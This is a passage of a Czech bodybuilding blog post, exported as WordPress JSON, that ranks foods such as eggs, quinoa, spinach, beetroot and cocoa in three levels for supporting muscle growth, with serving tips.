k\u00a0budov\u00e1n\u00ed hmoty st\u00e1le vyskytuj\u00ed n\u011bjak\u00e9 p\u0159ek\u00e1\u017eky, tud\u00ed\u017e nejde o nijak jednoduch\u00fd proces. Zejm\u00e9na, co se t\u00fd\u010de v\u00fd\u017eivy. A\u010dkoliv jist\u011b dob\u0159e zn\u00e1te z\u00e1sady kulturistick\u00e9 stravy, sestavili jsme pro v\u00e1s seznam n\u011bkter\u00fdch \u010dasto p\u0159ehl\u00ed\u017een\u00fdch potravin, kter\u00e9 mohou budov\u00e1n\u00ed svalov\u00e9 hmoty skv\u011ble podpo\u0159it a pomoci v\u00e1m tak dos\u00e1hnout va\u0161ich c\u00edl\u016f. Jednotliv\u00e9 polo\u017eky jsme rozd\u011blili do t\u0159\u00ed level\u016f podle jejich priority. V\u00a0prvn\u00edm levelu je volba zam\u011b\u0159en\u00e1 na z\u00e1kladn\u00ed makronutri\u010dn\u00ed l\u00e1tky. Ve druh\u00e9m se zam\u011b\u0159ujeme na dostatek energie nutn\u00e9 ke zvl\u00e1dnut\u00ed tr\u00e9ninku a na regeneraci. Level t\u0159i pak zahrnuji potraviny, kter\u00e9 n\u011bjak\u00fdm specifick\u00fdch a speci\u00e1ln\u00edm zp\u016fsobem ovliv\u0148uj\u00ed anabolismus. LEVEL V\u00a0t\u00e9to skupin\u011b najdete potraviny poskytuj\u00edc\u00ed t\u011blu z\u00e1kladn\u00ed \u017eiviny. B\u00edlkoviny jsou pro budov\u00e1n\u00ed svalov\u00e9 hmoty nezbytn\u00e9, podporuj\u00ed i regeneraci. Zdrav\u00e9 tuky pot\u0159ebujete pro produkci hormon\u016f, spjat\u00fdch s\u00a0r\u016fstem sval\u016f, a sacharidy poskytuj\u00ed energii pro intenzivn\u00ed tr\u00e9nink, sou\u010dasn\u011b zabra\u0148uj\u00ed tomu, aby t\u011blo jako zdroj energie vyu\u017e\u00edvalo proteiny. Adekv\u00e1tn\u00ed d\u00e1vka \u017eivo\u010di\u0161n\u00fdch protein\u016f (ku\u0159ec\u00ed maso, ryby, kr\u016ft\u00ed a libov\u00e9 hov\u011bz\u00ed maso) by tedy na va\u0161em stole rozhodn\u011b nem\u011bla chyb\u011bt. &nbsp; SLADK\u00c9 BRAMBORY Sladk\u00e9 brambory jsou bohat\u00e9 na vitamin C, obsahuj\u00ed 25 % denn\u00ed doporu\u010den\u00e9 d\u00e1vky drasl\u00edku a jsou tak\u00e9 fantastick\u00fdm zdrojem energie. A co v\u00edc, d\u00edky obsahu vitaminu B6, podporuj\u00ed metabolismus aminokyselin a b\u00edlkovin, co\u017e znamen\u00e1, \u017ee svaly dost\u00e1vaj\u00ed v\u00edce v\u0161ech \u017eivin nutn\u00fdch k\u00a0podpo\u0159e r\u016fstu. Sladk\u00e9 brambory tedy podpo\u0159\u00ed nejenom v\u00fdkon v\u00a0posilovn\u011b, ale tak\u00e9 n\u00e1slednou regeneraci. BONUSOV\u00dd TIP: maxim\u00e1ln\u00ed v\u00fd\u017eivovou hodnotu si zachovaj\u00ed, pokud je konzumujete i se slupkou. COTTAGE S\u00ddR Obsahuje m\u00e1lo tuk\u016f a hodn\u011b b\u00edlkovin, co\u017e z\u00a0n\u011bj \u010din\u00ed prakticky dokonal\u00fd zdroj protein\u016f. B\u00edlkoviny v\u00a0n\u011bm obsa\u017een\u00e9 jsou p\u0159edev\u0161\u00edm ve form\u011b kaseinu, pomalu straviteln\u00e9ho proteinu, kter\u00fd zajist\u00ed postupn\u00e9 z\u00e1soben\u00ed aminokyselinami nezbytn\u00fdmi pro hypertrofii a regeneraci. Jezte ho p\u0159ed span\u00edm, abyste sv\u00fdm sval\u016fm poskytli \u017eiviny na celou noc. BONUSOV\u00dd TIP: dochutit ho m\u016f\u017eete nap\u0159\u00edklad ananasem, raj\u010daty nebo avok\u00e1dem a hned m\u00e1te k\u00a0dispozici rychl\u00fd ob\u011bd. VAJ\u00cd\u010cKA Obsahuj\u00ed v\u00edce leucinu ne\u017e kter\u00fdkoliv jin\u00fd zdroj b\u00edlkovin. Vaj\u00ed\u010dka jsou ned\u00edlnou sou\u010d\u00e1st\u00ed kulturistick\u00e9 stravy. Nab\u00edz\u00ed snadno straviteln\u00e9 aminokyseliny, kter\u00e9 se do krve vst\u0159eb\u00e1vaj\u00ed opravdu rychle. Vaj\u00ed\u010dka tak\u00e9 navozuj\u00ed pocit nasycen\u00ed a jsou zdrojem \u017eeleza, vitaminu A a v\u00e1pn\u00edku. Zapomenout samoz\u0159ejm\u011b nesm\u00edme ani na esenci\u00e1ln\u00ed aminokyseliny. BONUSOV\u00dd TIP: sna\u017ete se kupovat bio vaj\u00ed\u010dka a vaj\u00ed\u010dka od nosnic chovan\u00fdch na podest\u00fdlce. Je d\u016fle\u017eit\u00e9, aby \u0161lo o vaj\u00ed\u010dka od slepic, kter\u00e9 nebyly krmeny hormony, antibiotiky a potravou bohatou na pesticidy. JABLKA Polyfenoly \u2013 p\u0159\u00edrodn\u00ed l\u00e1tky obsa\u017een\u00e9 v\u00a0rostlin\u00e1ch \u2013 kter\u00e9 se nach\u00e1z\u00ed v\u00a0jablk\u00e1ch, maj\u00ed velmi speci\u00e1ln\u00ed vliv na svaly. V\u00a0r\u00e1mci jedn\u00e9 studie bylo prok\u00e1z\u00e1no, \u017ee jable\u010dn\u00e9 polyfenoly ve skute\u010dnosti podporuj\u00ed hustotu svalov\u00fdch vl\u00e1ken. V\u00a0r\u00e1mci dal\u0161\u00ed studie proveden\u00e9 na University of Iowa v\u011bdci zjistili, \u017ee l\u00e1tka obsa\u017een\u00e1 ve slupce jablek, tzn. kyselina ursolov\u00e1, podporuje hormon\u00e1ln\u00ed aktivitu d\u016fle\u017eitou pro budov\u00e1n\u00ed sval\u016f. BONUSOV\u00dd TIP: dejte si jablko p\u0159ed tr\u00e9ninkem a vyu\u017eijte pomalu straviteln\u00fdch sacharid\u016f i vl\u00e1kniny, kter\u00e9 v\u00e1m nab\u00edz\u00ed. \u010cERN\u00c9 FAZOLE Obsahuj\u00ed hodn\u011b b\u00edlkovin, vl\u00e1kniny a vitamin\u016f A, C a K. \u010cern\u00e9 fazole jsou jedn\u00edm z\u00a0nejlep\u0161\u00edch zdroj\u016f vegetari\u00e1nsk\u00fdch protein\u016f. V\u00a0roce 2003 byla provedena studie, kter\u00e1 prok\u00e1zala, \u017ee obsahuj\u00ed antioxida\u010dn\u00ed flavonoidy, kter\u00e9 n\u00e1s chr\u00e1n\u00ed proti rakovin\u011b, onemocn\u011bn\u00edm srdce a p\u0159ed\u010dasn\u00fdm st\u00e1rnut\u00edm. BONUSOV\u00dd TIP: konzervovan\u00e9 fazole maj\u00ed stejn\u00fd v\u00fd\u017eivov\u00fd profil jako fazole doma va\u0159en\u00e9, p\u0159itom jsou na zpracov\u00e1n\u00ed v\u00fdrazn\u011b pohodln\u011bj\u0161\u00ed. AVOK\u00c1DO Je skv\u011bl\u00fdm zdrojem vitamin\u016f skupiny B, vitamin\u016f K\u00a0a C, drasl\u00edku atd. Vl\u00e1knina obsa\u017een\u00e1 v\u00a0avok\u00e1du slou\u017e\u00ed stejn\u011b jako zdrav\u00e9 tuky jako zdroj energie pro tr\u00e9nink. Antioxidanty podporuj\u00ed regeneraci sval\u016f a jejich r\u016fst. Zdrav\u00e9 mononenasycen\u00e9 mastn\u00e9 kyseliny podpo\u0159\u00ed optim\u00e1ln\u00ed produkci hormon\u016f. BONUSOV\u00dd TIP: p\u0159idejte kousky avok\u00e1da do m\u00edchan\u00fdch vaj\u00ed\u010dek a sal\u00e1t\u016f, avok\u00e1do se hod\u00ed i do pomaz\u00e1nek a na sendvi\u010de. &nbsp; LEVEL Potraviny z\u00a0t\u00e9to kategorie b\u00fdvaj\u00ed \u010dasto p\u0159ehl\u00ed\u017eeny, proto\u017ee v\u011bt\u0161ina z\u00a0nich nen\u00ed chu\u0165ov\u011b zrovna zaj\u00edmav\u00e1. Va\u0161im sval\u016fm ale nab\u00edz\u00ed \u017eiviny a p\u0159\u00edrodn\u00ed l\u00e1tky, kter\u00e9 urychluj\u00ed regeneraci a tlum\u00ed z\u00e1n\u011bty i bolest sval\u016f, tak\u017ee budete schopni rychleji nastoupit k\u00a0dal\u0161\u00edmu tr\u00e9ninku a po\u0159\u00e1dn\u011b se do toho op\u0159\u00edt. &nbsp; \u0158ECK\u00dd JOGURT Skv\u011bl\u00e1 volba! Tenhle jogurt je toti\u017e opravdovou proteinovou bombou, obsahuje dvakr\u00e1t v\u00edce \u017eivin ne\u017e jogurt tradi\u010dn\u00ed. Podobn\u011b jako cottage s\u00fdr nab\u00edz\u00ed p\u0159edev\u0161\u00edm kasein, kter\u00fd je pro svaly dlouhodob\u00fdm zdrojem b\u00edlkovin. Probiotika obsa\u017een\u00e1 v\u00a0\u0159eck\u00e9m jogurtu (v\u011bt\u0161ina t\u011bchto jogurt\u016f jich obsahuje opravdu hodn\u011b) zlep\u0161\u00ed tr\u00e1ven\u00ed, vst\u0159eb\u00e1v\u00e1n\u00ed \u017eivin a tlum\u00ed z\u00e1n\u011bty prob\u00edhaj\u00edc\u00ed v\u00a0tr\u00e1vic\u00edm traktu. BONUSOV\u00dd TIP: dr\u017ete se b\u00edl\u00e9ho, neochucen\u00e9ho jogurtu, kter\u00fd neobsahuje \u017e\u00e1dn\u00e9 p\u0159idan\u00e9 cukry. QUINOA \u010casto b\u00fdv\u00e1 myln\u011b pova\u017eov\u00e1na na obilovinu, jde ov\u0161em o sem\u00ednka bohat\u00e1 na celou \u0159adu \u017eivin. Je kompletn\u00edm zdrojem b\u00edlkovin a m\u016f\u017eete ji vyu\u017e\u00edt jako n\u00e1hra\u017eku r\u00fd\u017ee. Obsahuje lysin, d\u016fle\u017eitou aminokyselinu, kter\u00e1 se ve vegetari\u00e1nsk\u00fdch zdroj\u00edch v\u011bt\u0161inou nevyskytuje a p\u0159itom hraje d\u016fle\u017eitou roli v\u00a0r\u016fstu a regeneraci sval\u016f. Vitamin B2 a mangan obsa\u017een\u00fd v\u00a0quinoe podporuje bun\u011b\u010dn\u00fd metabolismus a chr\u00e1n\u00ed t\u011blo p\u0159ed voln\u00fdmi radik\u00e1ly. BONUSOV\u00dd TIP: p\u0159idejte quinou do ovesn\u00e9 ka\u0161e a pala\u010dinek, hod\u00ed se na i sal\u00e1ty a do mlet\u00e9ho hov\u011bz\u00edho masa. \u010cO\u010cKA Jeden \u0161\u00e1lek va\u0159en\u00e9 \u010do\u010dky obsahuje a\u017e 18 gram\u016f b\u00edlkovin a 16 gram\u016f vl\u00e1kniny. Jedn\u00e1 se o skv\u011blou alternativu sacharid\u016f na b\u00e1zi \u0161krob\u016f, jako je r\u00fd\u017ee \u010di kuku\u0159ice. \u010co\u010dka nab\u00edz\u00ed pracuj\u00edc\u00edm sval\u016fm pomalu straviteln\u00e9 sacharidy a dostatek aminokyselin pot\u0159ebn\u00fdch pro intenzivn\u00ed tr\u00e9nink. Je tak\u00e9 v\u00fdznamn\u00fdm zdrojem \u017eeleza a vitamin\u016f B. BONUSOV\u00dd TIP: existuj\u00ed t\u0159i druhy \u010do\u010dky: \u010derven\u00e1, zelen\u00e1 a hn\u011bd\u00e1. Pokud m\u00e1te m\u00e1lo \u010dasu, va\u0159te \u010do\u010dku \u010dervenou, bude hotov\u00e1 rychleji. \u0160PEN\u00c1T N\u011bkter\u00e9 vlastnosti t\u00e9to zeleniny asi net\u0159eba p\u0159edstavovat, ale pravd\u011bpodobn\u011b jste nev\u011bd\u011bli, \u017ee \u0161pen\u00e1t obsahuje fytochemickou l\u00e1tku zvanou 20-beta-ekdysteron, kter\u00e1 podporuje proteosynt\u00e9zu. \u0160pen\u00e1t nab\u00edz\u00ed tak\u00e9 hodn\u011b antioxidant\u016f a \u017eelezo, tzn. l\u00e1tky stimuluj\u00edc\u00ed svalov\u00fd r\u016fst i regeneraci. Je tak\u00e9 zdrojem nitr\u00e1t\u016f, kter\u00e9 zlep\u0161uj\u00ed v\u00fdkonnost mitochondri\u00ed b\u011bhem tr\u00e9ninku. BONUSOV\u00dd TIP: \u0161pen\u00e1t m\u016f\u017eete j\u00edst \u010derstv\u00fd (obsahuje v\u00edce vitaminu C a kyseliny listov\u00e9) nebo va\u0159en\u00fd, kter\u00fd nab\u00edz\u00ed v\u00edce vitaminu K, A, B6 a riboflavinu. BIZON\u00cd MASO Maso bizona vynik\u00e1 p\u0159edev\u0161\u00edm vy\u0161\u0161\u00edm pod\u00edlem b\u00edlkovin a lep\u0161\u00edm aminokyselinov\u00fdm profilem ne\u017e hov\u011bz\u00ed. M\u00e1 tak\u00e9 vy\u0161\u0161\u00ed obsah \u017eeleza a n\u011bkter\u00fdch mastn\u00fdch kyselin. Mnoho studi\u00ed prok\u00e1zalo, \u017ee bizon\u00ed maso je skv\u011bl\u00fdm zdrojem protein\u016f a kulturist\u016fm nab\u00edz\u00ed p\u0159edev\u0161\u00edm \u017eelezo nezbytn\u00e9 pro tvorbu \u010derven\u00fdch krvinek, \u010di zinek d\u016fle\u017eit\u00fd pro r\u016fst sval\u016f. Vitamin B12 p\u0159\u00edzniv\u011b ovliv\u0148uje metabolismus a konjugovan\u00e1 kyselina linolov\u00e1 zvy\u0161uje inzul\u00ednovou senzitivitu + zlep\u0161uje celkovou t\u011blesnou kompozici. BONUSOV\u00dd TIP: nejlep\u0161\u00ed je maso bizona p\u0159ipravovat na stupe\u0148 medium, skv\u011ble chutn\u00e1 pe\u010den\u00e9 nebo grilovan\u00e9. SPIRULINA \u010casto se o n\u00ed mluv\u00ed jako o super potravin\u011b. Spirulina je jedl\u00e1 \u0159asa, kter\u00e1 slou\u017e\u00ed jako kompletn\u00ed zdroj b\u00edlkovin. Podporuje r\u016fst sval\u016f a to nejenom d\u00edky sv\u00e9mu obsahu b\u00edlkovin, ale tak\u00e9 vzhledem k\u00a0pod\u00edlu vitamin\u016f, miner\u00e1l\u016f a fytonutri\u010dn\u00edch l\u00e1tek. M\u00e1 unik\u00e1tn\u00ed v\u00fd\u017eivov\u00fd profil, tlum\u00ed z\u00e1n\u011bty, posiluje imunitu, stabilizuje hladinu cukru v\u00a0krvi a oddaluje vy\u010derp\u00e1n\u00ed b\u011bhem tr\u00e9ninku. BONUSOV\u00dd TIP: sna\u017ete se kupovat spirulinu v\u00a0bio kvalit\u011b a to bez aditiv a jin\u00fdch p\u0159\u00eddavn\u00fdch l\u00e1tek. P\u0159im\u00edchejte ji do koktejl\u016f, ovesn\u00e9 ka\u0161e \u010di sal\u00e1t\u016f. LEVEL S\u00a0ohledem na p\u0159edchoz\u00ed dva levely je tento slo\u017een\u00fd z\u00a0potravin, kter\u00e9 by po spln\u011bn\u00ed p\u0159edchoz\u00edch n\u00e1rok\u016f ve va\u0161em j\u00eddeln\u00ed\u010dku tak\u00e9 nem\u011bly chyb\u011bt. Jedn\u00e1 se o polo\u017eky tak trochu specifick\u00e9 \u2013 n\u011bkter\u00e9 z\u00a0nich nab\u00edz\u00ed \u017eiviny, kter\u00e9 byste jinde obt\u00ed\u017en\u011b hledali, maj\u00ed slibn\u00e9 \u00fa\u010dinky a velmi p\u0159\u00edzniv\u00fd vliv na budov\u00e1n\u00ed svalov\u00e9 hmoty. KURKUMA V\u00a0roce 2009 byla provedena studie, jej\u00ed\u017e v\u00fdsledky publikoval \u010dasopis Nutrition. Ta vnesla sv\u011btlo do antikatabolick\u00fdch vlastnost\u00ed ko\u0159en\u00ed zn\u00e1m\u00e9ho jako kurkuma. Kurkumin obsa\u017een\u00fd v\u00a0kurkum\u011b podporuje regeneraci unaven\u00fdch sval\u016f. Kurkuma je tak\u00e9 siln\u00fdm antioxidantem, stimuluje metabolismus tuk\u016f a m\u00e1 protiz\u00e1n\u011btliv\u00e9 \u00fa\u010dinky. Sou\u010dasn\u011b sni\u017euje riziko vzniku n\u011bkter\u00fdch druh\u016f rakoviny. BONUSOV\u00dd TIP: kurkumou m\u016f\u017eete posypat nap\u0159\u00edklad grilovan\u00e9 maso. Na Kansas State University byla provedena studie, kter\u00e1 prok\u00e1zala, \u017ee maso ko\u0159en\u011bn\u00e9 kurkumou m\u00e1 a\u017e o 40 % ni\u017e\u0161\u00ed pod\u00edl heterocyklick\u00fdch amin\u016f (rakovinotvorn\u00fdch l\u00e1tek, kter\u00e9 vznikaj\u00ed v\u00a0potravin\u00e1ch upravovan\u00fdch p\u0159i vysok\u00fdch teplot\u00e1ch). KONOPN\u00c9 SEM\u00cdNKO Konopn\u00e9 sem\u00ednko je kompletn\u00edm zdrojem b\u00edlkovin, v\u00fdznamn\u00fdm zdrojem chlorofylu a vl\u00e1kniny, obsahuje jak omega-3, tak omega-6 mastn\u00e9 kyseliny. Cel\u00e1 sem\u00ednka jsou zdrojem albuminu a edestinu (co\u017e je b\u00edlkovina vyskytuj\u00edc\u00ed se v\u00fdhradn\u011b v\u00a0konopn\u00e9m sem\u00ednku), kter\u00e9 se rychle dost\u00e1vaj\u00ed do sval\u016f. Konopn\u00e9 sem\u00ednko obsahuje tak\u00e9 miner\u00e1ly, zejm\u00e9na zinek d\u016fle\u017eit\u00fd pro imunitu a fosfor + ho\u0159\u010d\u00edk, kter\u00e9 prosp\u00edvaj\u00ed kostem. BONUSOV\u00dd TIP: konopn\u00e9 sem\u00ednko p\u0159idejte do \u0159eck\u00e9ho jogurtu, posypejte j\u00edm sal\u00e1t nebo ho zam\u00edchejte do koktejlu. CHLORELLA Tato \u0159asa vyskytuj\u00edc\u00ed se v\u00a0tekouc\u00edch vod\u00e1ch nab\u00edz\u00ed p\u0159ekvapiv\u00e9 mno\u017estv\u00ed d\u016fle\u017eit\u00fdch l\u00e1tek. Chlorela je zdrojem b\u00edlkovin, vl\u00e1kniny, vitamin\u016f, miner\u00e1l\u016f a antioxidant\u016f. Obsahuje tak\u00e9 nejvy\u0161\u0161\u00ed mo\u017en\u00fd pod\u00edl chlorofylu ze v\u0161ech rostlin. Chlorofyl navy\u0161uje koncentraci kysl\u00edku v\u00a0t\u011ble a urychluje regeneraci tk\u00e1n\u00ed i jejich r\u016fst. Tato jednobun\u011b\u010dn\u00e1 rostlina vynik\u00e1 tak\u00e9 pod\u00edlem l\u00e1tek, kter\u00e9 maj\u00ed p\u0159\u00edzniv\u00fd vliv na r\u016fst bun\u011bk a zpomaluj\u00ed proces st\u00e1rnut\u00ed. BONUSOV\u00dd TIP: dr\u017ete se doporu\u010den\u00ed na etiket\u011b produktu, kter\u00fd jste si koupili, jinak toti\u017e nejsou k\u00a0dispozici \u017e\u00e1dn\u00e9 \u00fadaje ohledn\u011b d\u00e1vkov\u00e1n\u00ed chlorelly. \u010cERVEN\u00c1 \u0158EPA \u0160\u0165\u00e1va z\u00a0\u010derven\u00e9 \u0159epy obsahuje vitamin C, \u017eelezo, drasl\u00edk a m\u011b\u010f, podporuje n\u00e1r\u016fst hladiny energie i jej\u00ed n\u00e1sledn\u00fd v\u00fddej. Chcete dos\u00e1hnout lep\u0161\u00edho napumpov\u00e1n\u00ed? Pak je pr\u00e1v\u011b \u010derven\u00e1 \u0159epa jedn\u00edm z\u00a0nejbohat\u0161\u00edch zdroj\u016f nitr\u00e1t\u016f, kter\u00e9 najdete i ve \u0161pen\u00e1tu a kter\u00e9 tolik prosp\u00edvaj\u00ed mitochondri\u00edm. V\u00a0\u010dasopise European Journal of Applied Physiology byly zve\u0159ejn\u011bny v\u00fdsledky studie, je\u017e prok\u00e1zala, \u017ee suplementace betainem obsa\u017een\u00fdm v\u00a0cukrov\u00e9 \u0159ep\u011b nab\u00edz\u00ed mo\u017enost podpo\u0159it synt\u00e9zu svalov\u00fdch b\u00edlkovin. D\u016fle\u017eit\u00fd je i detoxifika\u010dn\u00ed \u00fa\u010dinek \u0159epy. Jej\u00ed konzumace m\u00e1 sou\u010dasn\u011b vliv na zlep\u0161en\u00ed funkce jater. BONUSOV\u00dd TIP: je-li to mo\u017en\u00e9, \u0159ep\u011b se ve sv\u00e9m j\u00eddeln\u00ed\u010dku nevyh\u00fdbejte, dobr\u00e1 je i \u0161\u0165\u00e1va. Oboj\u00ed sv\u011bd\u010d\u00ed t\u011blu v\u00edce ne\u017e suplementov\u00e1 forma. \u010cerstv\u00e1 \u0159epa m\u00e1 vy\u0161\u0161\u00ed biologickou hodnotu. Skv\u011ble se hod\u00ed do sal\u00e1t\u016f nebo koktejl\u016f. POHANKA Jedn\u00e1 se o bezlepkov\u00e1 sem\u00ednka rostliny p\u0159\u00edbuzn\u00e9 rebarbo\u0159e, obsahuj\u00ed v\u0161ech osm esenci\u00e1ln\u00edch aminokyselin. Pohanka prosp\u00edv\u00e1 imunit\u011b d\u00edky obsahu antioxidant\u016f, zlep\u0161uje tr\u00e1ven\u00ed a potla\u010duje pocit hladu, nebo\u0165 m\u00e1 vysok\u00fd pod\u00edl vl\u00e1kniny. Prost\u0159ednictv\u00edm l\u00e1tky zvan\u00e9 d-chiroinositol (p\u0159\u00edrodn\u00ed metabolit, kter\u00fd pat\u0159\u00ed do skupiny vitamin\u016f B) napom\u00e1h\u00e1 vyv\u00e1\u017eit hladinu krevn\u00ed gluk\u00f3zy, zvy\u0161uje inzul\u00ednovou senzitivitu, a jak prokazuj\u00ed n\u011bkter\u00e9 studie, zpomaluje pr\u016fb\u011bh sarkopenie, s\u00a0v\u011bkem souvisej\u00edc\u00edm \u00fabytkem svalov\u00e9 s\u00edly i hmoty. BONUSOV\u00dd TIP: pohanku m\u016f\u017eete pou\u017e\u00edt jako p\u0159\u00edlohu, d\u00e1 se j\u00edst ve form\u011b ka\u0161e, koup\u00edte i pohankovou mouku, ze kter\u00e9 p\u0159iprav\u00edte zdrav\u00e9 pala\u010dinky. Pohanku m\u016f\u017eete p\u0159idat do karban\u00e1tk\u016f nebo sal\u00e1t\u016f. KAKAO V\u00a0\u010dasopise British Medical Journal byly publikov\u00e1ny v\u00fdsledky studie, kter\u00e1 prok\u00e1zala, \u017ee konzumace kakaa podporuje produkci oxidu dus\u00edku. Zat\u00edmco jin\u00e1 studie potvrdila, \u017ee d\u00edky vysok\u00e9mu obsahu flavanolu m\u00e1 kakao celou \u0159adu pozitivn\u00edch \u00fa\u010dink\u016f. D\u00edky stimulaci obsahu oxidu dus\u00edku doch\u00e1z\u00ed k\u00a0vasodilataci, ta souvis\u00ed se zlep\u0161en\u00edm transportu kysl\u00edku ve svalech a navozuje lep\u0161\u00ed napumpov\u00e1n\u00ed b\u011bhem tr\u00e9ninku. D\u00edky t\u0159et\u00ed studii v\u00edme, \u017ee specifick\u00fd fenol, zvan\u00fd epikatechin, napom\u00e1h\u00e1 odvr\u00e1tit odbour\u00e1v\u00e1n\u00ed svalov\u00e9 hmoty. D\u00edky vysok\u00e9mu pod\u00edlu antioxidant\u016f je kakao schopn\u00e9 tlumit z\u00e1n\u011bty a navy\u0161ovat inzul\u00ednovou senzitivitu. BONUSOV\u00dd TIP: neslazen\u00fd kakaov\u00fd pr\u00e1\u0161ek p\u0159id\u00e1vejte do proteinov\u00fdch koktejl\u016f, ovesn\u00e9 ka\u0161e a doma p\u0159ipravovan\u00fdch pala\u010dinek. GOJI BOBULE V\u00fdsledky studie publikovan\u00e9 v\u00a0The Journal of Alternative and Complementary Medicine ukazuj\u00ed, \u017ee goji bobule jsou odpov\u011bdn\u00e9 za podporu soust\u0159ed\u011bn\u00ed a ment\u00e1ln\u00ed bd\u011blost, zlep\u0161en\u00ed kvality sp\u00e1nku, n\u00e1r\u016fst hladiny energie a v\u00fdkonnosti sportovc\u016f. Toto drobn\u00e9 ovoce obsahuje hodn\u011b antioxidant\u016f, aminokyselin a drasl\u00edku, ten posledn\u011b jmenovan\u00fd p\u0159\u00edmo napom\u00e1h\u00e1 budov\u00e1n\u00ed sval\u016f. Goji obsahuj\u00ed tak\u00e9 mastn\u00e9 kyseliny, kter\u00e9 optimalizuj\u00ed enzymatick\u00e9 a hormon\u00e1ln\u00ed funkce t\u011bla. D\u00edky n\u011bkter\u00fdm studi\u00edm v\u00edme, \u017ee za podporu r\u016fstu sval\u016f m\u016f\u017ee p\u0159edev\u0161\u00edm kombinace aminokyselin a drasl\u00edku, je\u017e udr\u017euje spr\u00e1vnou funkci hypof\u00fdzy a stimuluje produkci HGH. BONUSOV\u00dd TIP: pou\u017eit\u00ed maj\u00ed stejn\u00e9 jako rozinky, hod\u00ed se do ovesn\u00e9 ka\u0161e, sal\u00e1t\u016f, m\u00fcsli sm\u011bs\u00ed apod.<\/p>\n","protected":false},"author":2,"featured_media":261,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-260","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-vyziva"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/260","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=260"}],"version-history":[{"count":2,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/260\/revisions"}],"predecessor-version":[{"id":272,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/260\/revisions\/272"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media\/261"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=260"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=260"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=260"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}